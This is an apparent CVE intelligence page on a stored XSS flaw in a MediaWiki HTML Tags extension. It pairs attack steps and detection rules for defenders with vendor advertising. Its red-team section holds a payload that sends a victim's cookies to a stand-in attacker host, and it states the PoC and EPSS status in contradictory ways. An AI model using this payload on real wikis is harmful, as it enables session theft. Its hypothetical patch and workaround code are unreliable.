☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-20
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-32073

CVE-2025-32073 Cross-Site Scripting in Wikimedia foundation
📅 PUBLISHED: 2025-04-11 16:22 UTC 🔄 UPDATED: 2026-08-12 14:51 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.34%
👁️
0.34% probability
8.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-32073 is an Improper Input Validation vulnerability in the MediaWiki HTML Tags extension, affecting versions 1.39 through 1.43. This flaw allows an attacker to inject arbitrary JavaScript into the context of a victim's browser session, leading to Cross-Site Scripting (XSS). The vulnerability stems from insufficient sanitization of user-supplied input within the HTML Tags extension, which is used to embed custom HTML elements in wiki pages. An authenticated attacker with the ability to edit pages can craft a malicious payload that bypasses MediaWiki's built-in HTML filtering, resulting in persistent XSS. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. No public proof-of-concept or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

MediaWiki is a PHP-based open-source wiki platform. The vulnerability resides in the HTML Tags extension, which is not part of the core MediaWiki package but is commonly installed via Composer or manually. Organizations using MediaWiki should verify if the HTML Tags extension is installed and review their dependency management practices. The lack of a published patch or advisory from the vendor increases supply chain risk, as users must rely on manual mitigation or temporary workarounds.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned value. Based on the nature of the vulnerability (XSS via improper input validation), a reasonable CVSS v3.1 vector would be:

  • Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): Low (L) – An attacker needs an account with edit permissions.
  • User Interaction (UI): Required (R) – The victim must view the malicious page.
  • Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Limited modification of data possible.
  • Availability (A): None (N) – No impact on availability.

Estimated CVSS Score: 6.1 (Medium)

Threat Level: Medium – Exploitation requires authenticated access and user interaction, but the impact can be significant in a collaborative wiki environment.

Deep Dive & Mechanics

The MediaWiki HTML Tags extension allows administrators to define custom HTML tags that can be used in wiki pages. The vulnerability arises from improper input validation when processing user-supplied attributes or content within these custom tags. Specifically, the extension fails to sanitize or escape certain HTML attributes that can contain JavaScript event handlers (e.g., onmouseover, onclick) or javascript: URIs.

Attack Flow:

  1. An attacker with edit permissions creates or modifies a wiki page.
  2. The attacker inserts a malicious payload using a custom HTML tag defined by the extension, such as:
    <mycustomtag onmouseover="alert(document.cookie)">Hover here</mycustomtag>
    
  3. The extension processes the tag but does not strip the onmouseover attribute.
  4. When a victim views the page and hovers over the element, the JavaScript executes in the context of the victim's session.
  5. The attacker can steal session cookies, perform actions on behalf of the victim, or redirect to a phishing site.

Root Cause: The extension likely uses a whitelist-based approach for allowed attributes but fails to include common XSS vectors like event handlers. Additionally, the extension may not properly validate the src attribute of <script> tags or the href attribute of <a> tags for javascript: URIs.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common remediation patterns.

Vulnerable Code (Hypothetical):

// In HtmlTags.php
function processTag($input) {
    // Directly output user input without sanitization
    return "<$input>";
}

Patched Code (Hypothetical):

// In HtmlTags.php
function processTag($input) {
    // Use MediaWiki's built-in sanitizer
    $sanitized = Html::sanitize($input, ['allowedTags' => ['mycustomtag']]);
    return $sanitized;
}

The patched version would leverage MediaWiki's Html::sanitize() function, which strips dangerous attributes and encodes special characters.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • A MediaWiki instance (version 1.39-1.43) with the HTML Tags extension installed.
  • An account with edit permissions.

Steps:

  1. Log in to the wiki.
  2. Create a new page or edit an existing one.
  3. Insert the following payload:
    <mycustomtag onmouseover="fetch('https://attacker.com/steal?cookie='+document.cookie)">Hover here</mycustomtag>
    
  4. Save the page.
  5. Send the page link to a victim (e.g., via email or social engineering).
  6. When the victim hovers over the element, their cookies are exfiltrated to the attacker's server.

Alternative Payload (Self-executing):

<mycustomtag><img src=x onerror="alert(1)"></mycustomtag>

Blue Team (Defender)

Detection:

  • Monitor for unusual page edits containing event handler attributes (e.g., onmouseover, onclick).
  • Use WAF rules to block requests containing on*= patterns in page content.
  • Review server logs for requests to external domains from wiki pages.

Mitigation:

  • Disable the HTML Tags extension if not required.
  • Restrict edit permissions to trusted users only.
  • Implement Content Security Policy (CSP) headers to block inline scripts and restrict external connections.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to unknown or suspicious domains from the wiki server.
    • Requests containing document.cookie in the URL or POST body.
  • File IOCs:
    • Wiki page revisions containing event handler attributes (e.g., onmouseover, onerror).
    • Presence of <script> tags in page content where not expected.
  • Log IOCs:
    • Repeated 403 or 500 errors from the HTML Tags extension.
    • User agents associated with automated scanning tools.

Detection Engineering

YARA Rule

rule CVE_2025_32073_MediaWiki_XSS {
    meta:
        description = "Detects malicious payloads targeting CVE-2025-32073 in MediaWiki HTML Tags extension"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-32073"
    strings:
        $event_handler = /on\w+\s*=\s*["']?[^"']*["']?/ nocase
        $javascript_uri = /href\s*=\s*["']?\s*javascript\s*:/ nocase
        $img_onerror = /<img[^>]+onerror\s*=/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-32073 MediaWiki HTML Tags XSS Detection
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-32073 via malicious HTML tags in MediaWiki
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'action=edit'
            - 'action=submit'
        cs-body|contains:
            - 'onmouseover'
            - 'onerror'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in wiki pages (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-32073 MediaWiki HTML Tags XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"action=edit"; http_uri; content:"onmouseover"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the HTML Tags extension if not critical to operations. This can be done by removing or renaming the extension directory.
  2. Restrict edit permissions to only trusted users. Use MediaWiki's user group management to limit who can edit pages.
  3. Implement a Web Application Firewall (WAF) rule to block requests containing event handler attributes (e.g., on*=).

Long-term Fix:

  • Monitor the Wikimedia Foundation's security advisories for an official patch.
  • Once a patch is released, update the HTML Tags extension to the patched version.
  • Consider using a more secure alternative for custom HTML tags, such as MediaWiki's built-in ParserFunctions or TemplateStyles.

Workaround:

  • Add the following to LocalSettings.php to disable the extension:
    wfLoadExtension( 'HtmlTags', false );
    

Valters IT
Securing Digital Frontiers

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-32073/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.